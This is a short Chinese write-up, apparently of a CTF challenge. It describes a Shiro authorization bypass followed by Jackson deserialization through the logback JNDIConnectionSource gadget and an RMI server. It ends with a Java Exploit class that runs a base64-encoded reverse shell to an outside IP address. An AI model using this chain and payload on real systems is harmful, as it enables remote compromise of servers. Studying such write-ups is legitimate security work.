1. 进入页面访问/login可以看到只有/json ，访问/json发现呗重定向回了/login ，但是url上面多了/login;jsessionid=35644838E2C7601CF664314DA3CEE590这样的字眼，很明显是Shiro框架，尝试下Shiro权限绕过，确实绕过成功了，并且发现了报错，用的是jackson框架。

   

2. 尝试下JdbcSetImple链子，发现打不通，触发了security，再试其它链，包括CC链，ClassPathXmlApplicationContext链都不通。

   

3. 最终是通过ch.qos.logback.core.db.JNDIConnectionSource打通了，起一个RMI服务，实例化恶意类即可。

   import java.lang.Runtime;
   import java.lang.Process;
   public class Exploit {
        public Exploit(){
                try{
                    Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuNzkuMjkuMTcwLzcwMDAgMD4mIDE=}|{base64,-d}|{bash,-i}");
                                   }catch(Exception e){
                                               e.printStackTrace();
                                                }
                   }
            public static void main(String[] argv){
                            Exploit e = new Exploit();
                               }
   }
   ~